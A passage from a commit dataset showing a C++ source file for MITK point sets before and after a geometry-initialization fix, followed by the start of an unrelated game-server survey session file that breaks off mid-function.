RemovedPointEvent() );\n }\n break;\n\n case OpSELECTPOINT:\/\/select the given point\n {\n PointDataType pointData = {0, false, PTUNDEFINED};\n m_PointSetSeries[timeStep]->GetPointData(pointOp->GetIndex(), &pointData);\n pointData.selected = true;\n m_PointSetSeries[timeStep]->SetPointData(pointOp->GetIndex(), pointData);\n this->Modified();\n }\n break;\n\n case OpDESELECTPOINT:\/\/unselect the given point\n {\n PointDataType pointData = {0, false, PTUNDEFINED};\n m_PointSetSeries[timeStep]->GetPointData(pointOp->GetIndex(), &pointData);\n pointData.selected = false;\n m_PointSetSeries[timeStep]->SetPointData(pointOp->GetIndex(), pointData);\n this->Modified();\n }\n break;\n\n case OpSETPOINTTYPE:\n {\n PointDataType pointData = {0, false, PTUNDEFINED};\n m_PointSetSeries[timeStep]->GetPointData(pointOp->GetIndex(), &pointData);\n pointData.pointSpec = pointOp->GetPointType();\n m_PointSetSeries[timeStep]->SetPointData(pointOp->GetIndex(), pointData);\n this->Modified();\n }\n break;\n\n default:\n itkWarningMacro(\"mitkPointSet could not understrand the operation. Please check!\");\n break;\n }\n \n \/\/to tell the mappers, that the data is modifierd and has to be updated \n \/\/only call modified if anything is done, so call in cases\n \/\/this->Modified();\n\n mitk::OperationEndEvent endevent(operation);\n ((const itk::Object*)this)->InvokeEvent(endevent);\n\n \/\/*todo has to be done here, cause of update-pipeline not working yet\n \/\/ As discussed lately, don't mess with the rendering from inside data structures\n \/\/mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n}\n\n\nvoid mitk::PointSet::UpdateOutputInformation()\n{\n if ( this->GetSource( ) )\n {\n this->GetSource( )->UpdateOutputInformation( );\n }\n const DataType::BoundingBoxType *bb = m_PointSetSeries[0]->GetBoundingBox();\n BoundingBox::BoundsArrayType itkBounds = bb->GetBounds();\n float mitkBounds[6];\n\n \/\/for assignment see Geometry3d::SetBounds(const float bounds)\n mitkBounds[0] = itkBounds[0];\n mitkBounds[1] = itkBounds[1];\n mitkBounds[2] = itkBounds[2];\n mitkBounds[3] = itkBounds[3];\n mitkBounds[4] = itkBounds[4];\n mitkBounds[5] = itkBounds[5];\n\n GetGeometry()->SetBounds(itkBounds);\n}\n\nvoid mitk::PointSet::SetRequestedRegionToLargestPossibleRegion()\n{\n}\n\nbool mitk::PointSet::RequestedRegionIsOutsideOfTheBufferedRegion()\n{\n return false;\n}\n\nbool mitk::PointSet::VerifyRequestedRegion()\n{\n return true;\n}\n\nvoid mitk::PointSet::SetRequestedRegion( itk::DataObject * )\n{\n}\n\nbool mitk::PointSet::WriteXMLData( XMLWriter& xmlWriter )\n{\n BaseData::WriteXMLData( xmlWriter );\n std::string fileName = xmlWriter.GetRelativePath();\n if(!xmlWriter.IsFileExtension(\".mps\", fileName))\n fileName += \".mps\";\n \n if(xmlWriter.SaveSourceFiles()){\n PointSetWriter::Pointer writer = PointSetWriter::New();\n fileName = xmlWriter.GetAbsolutePath();\n if(!xmlWriter.IsFileExtension(\".mps\", fileName))\n fileName += \".mps\";\n writer->SetFileName( fileName.c_str() );\n writer->SetInput( this );\n writer->Update();\n }\n xmlWriter.WriteProperty( XMLReader::FILENAME, fileName.c_str() );\n return true;\n}\n\nbool mitk::PointSet::ReadXMLData( XMLReader& xmlReader )\n{\n BaseData::ReadXMLData( xmlReader );\n\n std::string fileName;\n xmlReader.GetAttribute( XMLReader::FILENAME, fileName );\n\n if ( fileName.empty() )\n return false;\n\n PointSetReader::Pointer reader = PointSetReader::New();\n reader->SetFileName( fileName.c_str() );\n reader->Update();\n mitk::PointSet::Pointer psp =\n dynamic_cast<mitk::PointSet*>( reader->GetOutput() );\n if (psp.IsNotNull())\n {\n m_PointSetSeries[0] = psp->GetPointSet();\n }\n\n if ( m_PointSetSeries[0].IsNull() )\n {\n return false;\n }\n\n return true;\n}\n<commit_msg>FIX: Correct order for passing Geometry in initialization (cf. bug #460)<commit_after>\/*=========================================================================\n\nProgram: Medical Imaging & Interaction Toolkit\nModule: $RCSfile$\nLanguage: C++\nDate: $Date$\nVersion: $Revision$\n\nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n\n#include \"mitkPointSet.h\"\n#include \"mitkOperation.h\"\n#include \"mitkOperationActor.h\"\n#include \"mitkPointOperation.h\"\n#include \"mitkInteractionConst.h\"\n#include \"mitkXMLWriter.h\"\n#include \"mitkXMLReader.h\"\n#include \"mitkPointSetWriter.h\"\n#include \"mitkPointSetReader.h\"\n#include \"mitkRenderingManager.h\"\n\n#include <itkSmartPointerForwardReference.txx>\n\n\nmitk::PointSet::PointSet()\n{\n m_Initialized = false;\n m_PointSetSeries.resize( 1 );\n\n m_PointSetSeries[0] = DataType::New();\n PointDataContainer::Pointer pointData = PointDataContainer::New();\n m_PointSetSeries[0]->SetPointData( pointData );\n\n this->Initialize( 1 );\n}\n\n\nmitk::PointSet::~PointSet()\n{\n}\n\nvoid mitk::PointSet::Initialize( const mitk::Geometry3D *geometry )\n{\n this->SetGeometry( static_cast< Geometry3D * >( \n geometry->Clone().GetPointer() ) );\n\n const mitk::TimeSlicedGeometry *timeGeometry = \n dynamic_cast< const mitk::TimeSlicedGeometry * >( geometry );\n\n if ( timeGeometry )\n {\n this->Initialize( timeGeometry->GetTimeSteps() );\n }\n else\n {\n this->Initialize( 1 );\n }\n}\n\nvoid mitk::PointSet::Initialize( int timeSteps )\n{\n mitk::TimeSlicedGeometry::Pointer timeGeometry = this->GetTimeSlicedGeometry();\n\n mitk::Geometry3D::Pointer g3d = mitk::Geometry3D::New();\n g3d->Initialize();\n\n if ( timeSteps > 1 )\n {\n mitk::ScalarType timeBounds[] = {0.0, 1.0};\n g3d->SetTimeBounds( timeBounds );\n }\n\n \/\/\n \/\/ The geometry is propagated automatically to the other items,\n \/\/ if EvenlyTimed is true...\n \/\/\n timeGeometry->InitializeEvenlyTimed( g3d.GetPointer(), timeSteps );\n\n m_Initialized = true;\n}\n\nbool mitk::PointSet::IsEmpty(int t) const\n{\n return IsInitialized() && (GetSize(t) <= 0);\n}\n\nvoid mitk::PointSet::AdaptPointSetSeriesSize( int timeSteps )\n{\n \/\/ Check if the vector is long enouth to contain the new element\n \/\/ at the given position. If not, expand it with sufficient pre-initialized\n \/\/ elements.\n if ( timeSteps > m_PointSetSeries.size() )\n {\n int oldSize = m_PointSetSeries.size();\n m_PointSetSeries.resize( timeSteps );\n\n int i;\n for ( i = oldSize; i < timeSteps; ++i )\n {\n m_PointSetSeries[i] = DataType::New();\n PointDataContainer::Pointer pointData = PointDataContainer::New();\n m_PointSetSeries[i]->SetPointData( pointData );\n }\n\n this->Initialize( timeSteps );\n }\n}\n\n\nint mitk::PointSet::GetPointSetSeriesSize() const\n{\n return m_PointSetSeries.size();\n}\n\n\nint mitk::PointSet::GetSize( int t ) const\n{\n if ( t < m_PointSetSeries.size() )\n {\n return m_PointSetSeries[t]->GetNumberOfPoints();\n }\n else\n {\n return 0;\n }\n}\n\nmitk::PointSet::DataType::Pointer mitk::PointSet::GetPointSet( int t ) const\n{\n if ( t < m_PointSetSeries.size() )\n {\n return m_PointSetSeries[t];\n }\n else\n {\n return NULL;\n }\n}\n\nint mitk::PointSet::SearchPoint( Point3D point, float distance, int t )\n{\n if ( t >= m_PointSetSeries.size() )\n {\n return -1;\n }\n \n \/\/ Out is the point which is checked to be the searched point\n PointType out;\n out.Fill( 0 );\n PointType indexPoint;\n\n this->GetGeometry( t )->WorldToIndex(point, indexPoint);\n\n \/\/ Searching the first point in the Set, that is +- distance far away fro\n \/\/ the given point\n unsigned int i;\n PointsContainer::Iterator it, end;\n end = m_PointSetSeries[t]->GetPoints()->End();\n int bestIndex = -1;\n distance = distance * distance;\n \n \/\/ To correct errors from converting index to world and world to index\n if (distance == 0.0)\n {\n distance = 0.000001;\n }\n\n ScalarType bestDist = distance;\n ScalarType dist, tmp;\n\n for ( it = m_PointSetSeries[t]->GetPoints()->Begin(), i = 0;\n it != end; \n ++it, ++i )\n {\n bool ok = m_PointSetSeries[t]->GetPoints()\n ->GetElementIfIndexExists( it->Index(), &out );\n\n if ( !ok )\n {\n return -1;\n }\n else if ( indexPoint == out ) \/\/if totaly equal\n {\n return it->Index();\n }\n\n \/\/distance calculation\n tmp = out[0] - indexPoint[0]; dist = tmp * tmp;\n tmp = out[1] - indexPoint[1]; dist += tmp * tmp;\n tmp = out[2] - indexPoint[2]; dist += tmp * tmp;\n\n if ( dist < bestDist )\n {\n bestIndex = it->Index();\n bestDist = dist;\n }\n }\n return bestIndex;\n}\n\nmitk::PointSet::PointType \nmitk::PointSet::GetPoint( int position, int t ) const\n{\n PointType out;\n out.Fill(0);\n\n if ( t >= m_PointSetSeries.size() )\n {\n return out;\n }\n\n if ( m_PointSetSeries[t]->GetPoints()->IndexExists(position) )\n {\n m_PointSetSeries[t]->GetPoint( position, &out );\n\n this->GetGeometry(t)->IndexToWorld( out, out );\n\n return out;\n }\n else\n {\n return out;\n }\n}\n\n\nbool \nmitk::PointSet\n::GetPointIfExists( PointIdentifier id, PointType* point, int t )\n{\n if ( t >= m_PointSetSeries.size() )\n {\n return false;\n }\n\n if ( m_PointSetSeries[t]->GetPoints()->GetElementIfIndexExists(id, point) )\n {\n this->GetGeometry( t )->IndexToWorld( *point, *point );\n return true;\n }\n else\n {\n return false;\n }\n}\n\n\nvoid mitk::PointSet::SetPoint( PointIdentifier id, PointType point, int t )\n{\n this->AdaptPointSetSeriesSize( t+1 );\n\n mitk::Point3D indexPoint;\n this->GetGeometry( t )->WorldToIndex( point, indexPoint );\n m_PointSetSeries[t]->SetPoint( id, indexPoint );\n}\n\n\nvoid mitk::PointSet::InsertPoint( PointIdentifier id, PointType point, int t )\n{\n if ( t < m_PointSetSeries.size() )\n {\n mitk::Point3D indexPoint;\n this->GetGeometry( t )->WorldToIndex( point, indexPoint );\n m_PointSetSeries[t]->GetPoints()->InsertElement( id, indexPoint );\n }\n}\n\n\nbool mitk::PointSet::IndexExists( int position, int t )\n{\n if ( t < m_PointSetSeries.size() )\n {\n return m_PointSetSeries[t]->GetPoints()->IndexExists( position );\n }\n else\n {\n return false;\n }\n}\n\nbool mitk::PointSet::GetSelectInfo( int position, int t )\n{\n if ( this->IndexExists( position, t ) )\n {\n PointDataType pointData = { 0, false, PTUNDEFINED };\n m_PointSetSeries[t]->GetPointData( position, &pointData );\n return pointData.selected;\n }\n else\n {\n return false;\n }\n}\n\n\nconst int mitk::PointSet::GetNumberOfSelected( int t )\n{\n if ( t >= m_PointSetSeries.size() )\n {\n return 0;\n }\n\n int numberOfSelected = 0;\n PointDataIterator it;\n for ( it = m_PointSetSeries[t]->GetPointData()->Begin();\n it != m_PointSetSeries[t]->GetPointData()->End();\n it++ )\n {\n if (it->Value().selected == true)\n {\n ++numberOfSelected;\n }\n }\n\n return numberOfSelected;\n}\n\n\nint mitk::PointSet::SearchSelectedPoint( int t )\n{\n if ( t >= m_PointSetSeries.size() )\n {\n return -1;\n }\n\n PointDataIterator it;\n for ( it = m_PointSetSeries[t]->GetPointData()->Begin(); \n it != m_PointSetSeries[t]->GetPointData()->End();\n it++ )\n {\n if ( it->Value().selected == true )\n {\n return it->Index();\n }\n }\n return -1;\n}\n\nvoid mitk::PointSet::ExecuteOperation( Operation* operation )\n{\n int timeStep = -1;\n\n mitkCheckOperationTypeMacro(PointOperation, operation, pointOp);\n\n if ( pointOp )\n {\n timeStep = this->GetTimeSlicedGeometry()\n ->MSToTimeStep( pointOp->GetTimeInMS() );\n }\n\n if ( timeStep == -1 )\n {\n \/\/ Time outside of PointSet time bounds\n return;\n }\n\n switch (operation->GetOperationType())\n {\n case OpNOTHING:\n break;\n\n case OpINSERT:\/\/inserts the point at the given position and selects it. \n {\n int position = pointOp->GetIndex();\n\n PointType pt;\n pt.CastFrom(pointOp->GetPoint());\n\n \/\/transfer from world to index coordinates \n this->GetGeometry( timeStep )->WorldToIndex(pt, pt);\n\n m_PointSetSeries[timeStep]->GetPoints()->InsertElement(position, pt);\n\n PointDataType pointData = \n {\n pointOp->GetIndex(), \n pointOp->GetSelected(), \n pointOp->GetPointType()\n };\n\n m_PointSetSeries[timeStep]->GetPointData()\n ->InsertElement(position, pointData);\n\n this->Modified();\n ((const itk::Object*)this)->InvokeEvent( NewPointEvent() );\n this->OnPointSetChange();\n }\n break;\n\n case OpMOVE:\/\/moves the point given by index\n {\n PointType pt;\n pt.CastFrom(pointOp->GetPoint());\n \n \/\/transfer from world to index coordinates \n this->GetGeometry( timeStep )->WorldToIndex(pt, pt);\n\n m_PointSetSeries[timeStep]->SetPoint(pointOp->GetIndex(), pt);\n\n this->OnPointSetChange();\n\n this->Modified();\n }\n break;\n\n case OpREMOVE:\/\/removes the point at given by position \n {\n m_PointSetSeries[timeStep]->GetPoints()\n ->DeleteIndex((unsigned)pointOp->GetIndex());\n m_PointSetSeries[timeStep]->GetPointData()\n ->DeleteIndex((unsigned)pointOp->GetIndex());\n\n this->OnPointSetChange();\n\n this->Modified();\n ((const itk::Object*)this)->InvokeEvent( RemovedPointEvent() );\n }\n break;\n\n case OpSELECTPOINT:\/\/select the given point\n {\n PointDataType pointData = {0, false, PTUNDEFINED};\n m_PointSetSeries[timeStep]->GetPointData(pointOp->GetIndex(), &pointData);\n pointData.selected = true;\n m_PointSetSeries[timeStep]->SetPointData(pointOp->GetIndex(), pointData);\n this->Modified();\n }\n break;\n\n case OpDESELECTPOINT:\/\/unselect the given point\n {\n PointDataType pointData = {0, false, PTUNDEFINED};\n m_PointSetSeries[timeStep]->GetPointData(pointOp->GetIndex(), &pointData);\n pointData.selected = false;\n m_PointSetSeries[timeStep]->SetPointData(pointOp->GetIndex(), pointData);\n this->Modified();\n }\n break;\n\n case OpSETPOINTTYPE:\n {\n PointDataType pointData = {0, false, PTUNDEFINED};\n m_PointSetSeries[timeStep]->GetPointData(pointOp->GetIndex(), &pointData);\n pointData.pointSpec = pointOp->GetPointType();\n m_PointSetSeries[timeStep]->SetPointData(pointOp->GetIndex(), pointData);\n this->Modified();\n }\n break;\n\n default:\n itkWarningMacro(\"mitkPointSet could not understrand the operation. Please check!\");\n break;\n }\n \n \/\/to tell the mappers, that the data is modifierd and has to be updated \n \/\/only call modified if anything is done, so call in cases\n \/\/this->Modified();\n\n mitk::OperationEndEvent endevent(operation);\n ((const itk::Object*)this)->InvokeEvent(endevent);\n\n \/\/*todo has to be done here, cause of update-pipeline not working yet\n \/\/ As discussed lately, don't mess with the rendering from inside data structures\n \/\/mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n}\n\n\nvoid mitk::PointSet::UpdateOutputInformation()\n{\n if ( this->GetSource( ) )\n {\n this->GetSource( )->UpdateOutputInformation( );\n }\n const DataType::BoundingBoxType *bb = m_PointSetSeries[0]->GetBoundingBox();\n BoundingBox::BoundsArrayType itkBounds = bb->GetBounds();\n float mitkBounds[6];\n\n \/\/for assignment see Geometry3d::SetBounds(const float bounds)\n mitkBounds[0] = itkBounds[0];\n mitkBounds[1] = itkBounds[1];\n mitkBounds[2] = itkBounds[2];\n mitkBounds[3] = itkBounds[3];\n mitkBounds[4] = itkBounds[4];\n mitkBounds[5] = itkBounds[5];\n\n GetGeometry()->SetBounds(itkBounds);\n}\n\nvoid mitk::PointSet::SetRequestedRegionToLargestPossibleRegion()\n{\n}\n\nbool mitk::PointSet::RequestedRegionIsOutsideOfTheBufferedRegion()\n{\n return false;\n}\n\nbool mitk::PointSet::VerifyRequestedRegion()\n{\n return true;\n}\n\nvoid mitk::PointSet::SetRequestedRegion( itk::DataObject * )\n{\n}\n\nbool mitk::PointSet::WriteXMLData( XMLWriter& xmlWriter )\n{\n BaseData::WriteXMLData( xmlWriter );\n std::string fileName = xmlWriter.GetRelativePath();\n if(!xmlWriter.IsFileExtension(\".mps\", fileName))\n fileName += \".mps\";\n \n if(xmlWriter.SaveSourceFiles()){\n PointSetWriter::Pointer writer = PointSetWriter::New();\n fileName = xmlWriter.GetAbsolutePath();\n if(!xmlWriter.IsFileExtension(\".mps\", fileName))\n fileName += \".mps\";\n writer->SetFileName( fileName.c_str() );\n writer->SetInput( this );\n writer->Update();\n }\n xmlWriter.WriteProperty( XMLReader::FILENAME, fileName.c_str() );\n return true;\n}\n\nbool mitk::PointSet::ReadXMLData( XMLReader& xmlReader )\n{\n BaseData::ReadXMLData( xmlReader );\n\n std::string fileName;\n xmlReader.GetAttribute( XMLReader::FILENAME, fileName );\n\n if ( fileName.empty() )\n return false;\n\n PointSetReader::Pointer reader = PointSetReader::New();\n reader->SetFileName( fileName.c_str() );\n reader->Update();\n mitk::PointSet::Pointer psp =\n dynamic_cast<mitk::PointSet*>( reader->GetOutput() );\n if (psp.IsNotNull())\n {\n m_PointSetSeries[0] = psp->GetPointSet();\n }\n\n if ( m_PointSetSeries[0].IsNull() )\n {\n return false;\n }\n\n return true;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * SurveySessionImplementation.cpp\n *\n * Created on: May 22, 2012\n * Author: Kyle\n *\/\n\n#include \"server\/zone\/objects\/player\/sessions\/survey\/SurveySession.h\"\n#include \"server\/zone\/Zone.h\"\n#include \"server\/zone\/managers\/player\/PlayerManager.h\"\n#include \"server\/zone\/managers\/resource\/ResourceManager.h\"\n#include \"server\/zone\/objects\/creature\/CreatureObject.h\"\n#include \"server\/zone\/objects\/player\/PlayerObject.h\"\n#include \"server\/zone\/objects\/tangible\/tool\/SurveyTool.h\"\n#include \"server\/zone\/packets\/scene\/PlayClientEffectLocMessage.h\"\n#include \"server\/zone\/objects\/creature\/CreatureAttribute.h\"\n#include \"server\/zone\/objects\/player\/sessions\/survey\/sui\/SurveyGMinigameSuiCallback.h\"\n#include \"server\/zone\/objects\/player\/sessions\/survey\/sui\/SurveyCMinigameSuiCallback.h\"\n#include \"server\/zone\/managers\/resource\/resourcespawner\/SampleTask.h\"\n#include \"server\/zone\/managers\/resource\/resourcespawner\/SurveyTask.h\"\n#include \"server\/zone\/managers\/resource\/resourcespawner\/SampleResultsTask.h\"\n\nint SurveySessionImplementation::initializeSession(SurveyTool* tool) {\n\n\tactiveSurveyTool = tool;\n\tsurveyerGhost = surveyer.get()->getPlayerObject();\n\treturn startSession();\n}\n\nint SurveySessionImplementation::startSession() {\n\tManagedReference<SurveyTool*> activeSurveyTool = this->activeSurveyTool.get();\n\tManagedReference<CreatureObject*> surveyer = this->surveyer.get();\n\tManagedReference<PlayerObject*> surveyerGhost = this->surveyerGhost.get();\n\n\tif(surveyer == NULL || activeSurveyTool == NULL || surveyerGhost == NULL) {\n\t\tcancelSession();\n\t\treturn false;\n\t}\n\n\tresourceManager = surveyer->getZoneServer()->getResourceManager();\n\tif(resourceManager == NULL) {\n\t\tcancelSession();\n\t\treturn false;\n\t}\n\n\tsurveyer->addActiveSession(SessionFacadeType::SURVEY, _this.get());\n\n\treturn true;\n}\n\nint SurveySessionImplementation::cancelSession() {\n\tManagedReference<CreatureObject*> ref = surveyer.get();\n\n\tif(ref != NULL)\n\t\tref->dropActiveSession(SessionFacadeType::SURVEY);\n\n\n\treturn clearSession();\n}\n\nint SurveySessionImplementation::clearSession() {\n\n\treturn 0;\n}\n\nvoid SurveySessionImplementation::startSurvey(const String& resname) {\n\tManagedReference<SurveyTool*> activeSurveyTool = this->activeSurveyTool.get();\n\tManagedReference<ResourceManager*> resourceManager = this->resourceManager.get();\n\tManagedReference<CreatureObject*> surveyer = this->surveyer.get();\n\n\tif (activeSurveyTool == NULL) {\n\t\terror(\"surveyTool is NULL\");\n\t\treturn;\n\t}\n\n\tif (resourceManager == NULL) {\n\t\terror(\"ResourceManager is NULL\");\n\t\treturn;\n\t}\n\n\tif (surveyer == NULL) {\n\t\terror(\"surveyer is NULL\");\n\t\treturn;\n\t}\n\n\tif (surveyer->getParent() != NULL && surveyer->getParent().get()->isCellObject()) {\n\t\tsurveyer->sendSystemMessage(\"@error_message:survey_in_structure\"); \/\/You cannot perform survey-related actions inside a structure.\n\t\treturn;\n\t}\n\n\tif (surveyer->isSwimming()) {\n\t\tsurveyer->sendSystemMessage(\"@error_message:survey_swimming\");\n\t\treturn;\n\t}\n\n\tif (surveyer->isRidingMount()) {\n\t\tif(surveyer->isInWater()) {\n\t\t\tsurveyer->sendSystemMessage(\"@error_message:survey_cant\");\n\t\t\treturn;\n\t\t}\n\t} else {\n\t\tif(surveyer->getPosture() != CreaturePosture::UPRIGHT) {\n\t\t\tsurveyer->sendSystemMessage(\"@error_message:survey_standing\");\n\t\t\treturn;\n\t\t}\n\t}\n\n\t\/\/Get actual cost based upon player's Focus\n\tint mindCost = surveyer->calculateCostAdjustment(CreatureAttribute::FOCUS, 100);\n\n\tif (surveyer->getHAM(CreatureAttribute::MIND) < mindCost) {\n\t\tsurveyer->setPosture(CreaturePosture::UPRIGHT, true);\n\t\tsurveyer->sendSystemMessage(\"@error_message:survey_mind\"); \/\/You are exhausted. You nee to clear your head before you can survey again.\n\t\treturn;\n\t}\n\n\tManagedReference<ResourceSpawn*> spawn = resourceManager->getResourceSpawn(resname);\n\tif(spawn == NULL) {\n\t\treturn;\n\t}\n\n\tif(spawn->getSurveyToolType() != activeSurveyTool->getToolType()) {\n\t\tStringIdChatParameter message(\"@survey:wrong_tool\"); \/\/ %TO resources cannot be located with this tool\n\t\tmessage.setTO(spawn->getFinalClass());\n\t\tsurveyer->sendSystemMessage(message);\n\t\treturn;\n\t}\n\n\tPlayClientEffectLoc* effect = new PlayClientEffectLoc(activeSurveyTool->getSurveyAnimation(),\n\t\t\tsurveyer->getZone()->getZoneName(),\n\t\t\tsurveyer->getPositionX(), surveyer->getPositionZ(),\n\t\t\tsurveyer->getPositionY());\n\n\tsurveyer->broadcastMessage(effect, true);\n\n\tresourceManager->sendSurvey(surveyer, resname);\n}\n\nvoid SurveySessionImplementation::startSample(const String& resname) {\n\n\tManagedReference<SurveyTool*> activeSurveyTool = this->activeSurveyTool.get();\n\tManagedReference<ResourceManager*> resourceManager = this->resourceManager.get();\n\tManagedReference<CreatureObject*> surveyer = this->surveyer.get();\n\tManagedReference<PlayerObject*> surveyerGhost = this->surveyerGhost.get();\n\n\tif (activeSurveyTool == NULL) {\n\t\terror(\"surveyTool is NULL\");\n\t\treturn;\n\t}\n\n\tif (resourceManager == NULL) {\n\t\tinfo(\"ResourceManager is NULL\");\n\t\treturn;\n\t}\n\n\tif (surveyer == NULL) {\n\t\tinfo(\"surveyer is NULL\");\n\t\treturn;\n\t}\n\n\tif (!resname.isEmpty())\n\t\t lastResourceSampleName = resname;\n\n\tManagedReference<ResourceSpawn* > resourceSpawn = resourceManager->getResourceSpawn(lastResourceSampleName);\n\tif (resourceSpawn == NULL) {\n\t\treturn;\n\t}\n\n\tif (surveyer->isInCombat()) {\n\t\tsurveyer->sendSystemMessage(\"@survey:sample_cancel_attack\"); \/\/You can't take samples while under attack!\n\t\treturn;\n\t}\n\n\tif (surveyer->getParent() != NULL && surveyer->getParent().get()->isCellObject()) {\n\t\tsurveyer->sendSystemMessage(\"@error_message:survey_in_structure\"); \/\/You cannot perform survey-related actions inside a structure.\n\t\treturn;\n\t}\n\n\tif (surveyer->isSwimming()) {\n\t\tsurveyer->sendSystemMessage(\"@error_message:survey_swimming\");\n\t\treturn;\n\t}\n\n\tif (surveyer->isRidingMount()) {\n\t\tsurveyer->sendSystemMessage(\"@error_message:survey_on_mount\");\n\t\treturn;\n\t}\n\n\t\/\/Get actual cost based upon player's Quickness\n\tint actionCost = surveyer->calculateCostAdjustment(CreatureAttribute::QUICKNESS, 200);\n\n\tif (surveyer->getHAM(CreatureAttribute::ACTION) < actionCost) {\n\t\tsurveyer->setPosture(CreaturePosture::UPRIGHT, true);\n\t\tsurveyer->sendSystemMessage(\"@error_message:sample_mind\"); \/\/You are exhausted. You nee to clear your head before you can sample again.\n\t\treturn;\n\t}\n\n\tif(resourceSpawn->getSurveyToolType() != activeSurveyTool->getToolType()) {\n\t\tStringIdChatParameter message(\"@survey:wrong_tool\"); \/\/ %TO resources cannot be located with this tool\n\t\tmessage.setTO(resourceSpawn->getFinalClass());\n\t\tsurveyer->sendSystemMessage(message);\n\t\treturn;\n\t}\n\n\tif(!lastResourceSampleName.isEmpty() && !activeSurveyTool->canSampleRadioactive()) {\n\n\t\tif(resourceSpawn->isType(\"radioactive\") && !activeSurveyTool->canSampleRadioactive()) {\n\t\t\tactiveSurveyTool->sendRadioactiveWarning(surveyer);\n\t\t\treturn;\n\t\t}\n\t}\n\n\t\/\/ Player must be kneeling to sample\n\tif (!surveyer->isKneeling()) {\n\t\tsurveyer->setPosture(CreaturePosture::CROUCHED, true);\n\t}\n\n\tif(surveyer->getPendingTask(\"sample\") != NULL) {\n\t\treturn;\n\t}\n\n\tStringIdChatParameter message(\"survey\",\"start_sampling\");\n\tmessage.setTO(lastResourceSampleName);\n\tsurveyer->sendSystemMessage(message);\n\n\tif (!doGamble && richSampleLocation == NULL && System::random(50) == 7) {\n\n\t\tif (surveyerGhost->hasSuiBoxWindowType(SuiWindowType::SURVEY_TOOL_CONCENTRATED_MINIGAME)) {\n\t\t\tsurveyerGhost->removeSuiBoxType(SuiWindowType::SURVEY_TOOL_CONCENTRATED_MINIGAME);\n\t\t}\n\n\t\tif (surveyerGhost->hasSuiBoxWindowType(SuiWindowType::SURVEY_TOOL_CONCENTRATED_MINIGAME2)) {\n\t\t\tsurveyerGhost->removeSuiBoxType(SuiWindowType::SURVEY_TOOL_CONCENTRATED_MINIGAME2);\n\t\t}\n\n\t\tif(System::random(1) == 1)\n\t\t\tsurveyCnodeMinigameSui();\n\t\telse\n\t\t\tsurveyGnodeMinigameSui();\n\n\t} else {\n\n\t\tif (!lastResourceSampleName.isEmpty())\n\t\t\tresourceManager->sendSample(surveyer, lastResourceSampleName,\n\t\t\t\t\tactiveSurveyTool->getSampleAnimation());\n\t}\n}\n\nvoid SurveySessionImplementation::surveyCnodeMinigameSui() {\n\tManagedReference<CreatureObject*> surveyer = this->surveyer.get();\n\n\t\/\/int surveyMod = surveyer->getSkillMod(\"surveying\");\n\n\tManagedReference<SuiListBox*> suiConcMinigameBox = new SuiListBox(\n\t\t\tsurveyer, SuiWindowType::SURVEY_TOOL_CONCENTRATED_MINIGAME, 0);\n\n\tsuiConcMinigameBox->setPromptTitle(\"@survey:cnode_t\");\n\tsuiConcMinigameBox->setPromptText(\"@survey:cnode_d\");\n\n\tsuiConcMinigameBox->addMenuItem(\"@survey:cnode_1\", 0);\n\tsuiConcMinigameBox->addMenuItem(\"@survey:cnode_2\", 1);\n\n\tsuiConcMinigameBox->setCancelButton(true, \"Cancel\");\n\n\tsuiConcMinigameBox->setCallback(new SurveyCMinigameSuiCallback(surveyer->getZoneServer()));\n\tsurveyer->getPlayerObject()->addSuiBox(suiConcMinigameBox);\n\tsurveyer->sendMessage(suiConcMinigameBox->generateMessage());\n}\n\nvoid SurveySessionImplementation::surveyCnodeMinigame(int value) {\n\tManagedReference<SurveyTool*> activeSurveyTool = this->activeSurveyTool.get();\n\tManagedReference<ResourceManager*> resourceManager = this->resourceManager.get();\n\tManagedReference<CreatureObject*> surveyer = this->surveyer.get();\n\tManagedReference<PlayerObject*> surveyerGhost = this->surveyerGhost.get();\n\n\tif(value == 0) {\n\t\t\/\/ Add sampletask\n\t\trescheduleSample();\n\n\t\treturn;\n\t}\n\n\trichSampleLocation = new Coordinate(surveyer->getPositionX(), surveyer->getPositionZ(), surveyer->getPositionY());\n\trichSampleLocation->randomizePosition(50);\n\n\tManagedReference<WaypointObject*> newwaypoint = NULL;\n\n\tPlayerObject* ghost = surveyer->getPlayerObject();\n\n\t\/\/ Get previous survey waypoint\n\tManagedReference<WaypointObject*> waypoint = ghost->getSurveyWaypoint();\n\n\t\/\/ Create new waypoint\n\tif (waypoint == NULL)\n\t\tnewwaypoint = ( surveyer->getZoneServer()->createObject(0xc456e788, 1)).castTo<WaypointObject*>();\n\telse {\n\t\tghost->removeWaypoint(waypoint->getObjectID(), true);\n\t\tnewwaypoint = waypoint.get();\n\t}\n\n\t\/\/ Update new waypoint\n\tnewwaypoint->setCustomObjectName(UnicodeString(\"Resource Survey\"), false);\n\tnewwaypoint->setPlanetCRC(surveyer->getZone()->getZoneCRC());\n\tnewwaypoint->setPosition(richSampleLocation->getPositionX(), 0, richSampleLocation->getPositionY());\n\tnewwaypoint->setColor(WaypointObject::COLOR_BLUE);\n\tnewwaypoint->setSpecialTypeID(WaypointObject::SPECIALTYPE_RESOURCE);\n\tnewwaypoint->setActive(true);\n\n\tghost->addWaypoint(newwaypoint, false, true); \/\/ Should second argument be true, and waypoints with the same name thus remove their old version?\n\tsurveyer->sendSystemMessage(\"@survey:node_waypoint\");\n\n\t\/\/ Player must be kneeling to sample\n\tif (!surveyer->isStanding())\n\t\tsurveyer->setPosture(CreaturePosture::UPRIGHT, true);\n}\n\nvoid SurveySessionImplementation::surveyGnodeMinigameSui() {\n\tManagedReference<CreatureObject*> surveyer = this->surveyer.get();\n\n\t\/\/int surveyMod = surveyer->getSkillMod(\"surveying\");\n\n\tManagedReference<SuiListBox*> suiConcMinigameBox = new SuiListBox(surveyer, SuiWindowType::SURVEY_TOOL_CONCENTRATED_MINIGAME2, 0);\n\n\tsuiConcMinigameBox->setPromptTitle(\"@survey:gnode_t\");\n\tsuiConcMinigameBox->setPromptText(\"@survey:gnode_d\");\n\n\tsuiConcMinigameBox->addMenuItem(\"@survey:gnode_1\", 